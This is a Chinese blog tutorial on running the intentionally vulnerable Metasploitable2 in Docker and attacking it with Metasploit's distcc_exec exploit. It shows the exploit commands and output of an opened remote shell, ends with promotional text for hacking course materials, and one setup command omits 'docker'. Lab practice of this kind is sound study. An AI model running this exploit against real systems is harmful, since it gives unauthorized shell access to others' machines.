体验一把黑客的感觉——Unbuntu下用docker搭一个肉鸡（Metasploitable）来练靶(渗透测试)

本文介绍在Unbuntu环境下用docker来简单快速地搭建起Metasploitable系统，并用Metasploit来进行渗透测试。
Metasploitable是一个供渗透测试用的、集成各种漏洞的Linux系统。
Metasploita则是一个集成各种漏洞攻击的渗透利器。

一. 安装docker

添加https证书

$ curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

添加仓库

$ sudo add-apt-repository "deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

安装docker-ce

$ sudo apt-get install docker-ce -y

启动及设置开机自启（ubuntu 14以上版本）

$ sudo systemctl start docker

$ sudo systemctl enable docker

将用户添加到docker组，以后就能以非root身份运行docker了

$ sudo groupadd docker

$ sudo usermod -aG docker $USER

执行完之后可能要重新登录才能生效
检查是否安装成功

$ docker version

二. 安装Metasploitable

拉取metasploitable2镜像

$ docker pull tleemcjr/metasploitable2

运行metasploitable2容器

$ run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"

即可进入metasploitable2系统的命令行，执行$ uname -a可查看系统信息

三. 安装metasploit-framework

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

安装完成后执行$ msfconsole即可进入。

四. 进行渗透测试

进入msfconsole命令行窗口

$ msfconsole

docker肉鸡下用$ ifconfig查看ip，然后即可进行下面的测试。
以 exploit/unix/misc/distcc_exec 漏洞为例，

msf > use exploit/unix/misc/distcc_exec 
msf > set RHOST x.x.x.x(docker肉鸡ip)
msf > exploit

若渗透成功，则能成功取得肉鸡的shell控制，即可远程控制对方电脑。

msfconsole

msf > use exploit/unix/misc/distcc_exec 

msf  exploit(distcc_exec) > set RHOST 192.168.99.131

msf  exploit(distcc_exec) > exploit 

[*] Started reverse double handler

[*] Accepted the first client connection…

[*] Accepted the second client connection…

[*] Command: echo uk3UdiwLUq0LX3Bi;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets…

[*] Reading from socket B

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

[*] Matching…

[*] A is input…

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

从靠劳力赚钱转变成靠脑力赚钱，想入门黑客的小白肯定想知道如何学好？

👉[[[CSDN大礼包：《黑客&网络安全入门&进阶学习资源》免费分享]]]（安全链接，放心点击）

一、网安学习成长路线图

网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。（全套教程文末领取哈）

二、网安视频合集

观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

三、精品网安学习书籍

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。

四、网络安全源码合集+工具包

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块

这份完整版的学习资料已经上传CSDN，朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】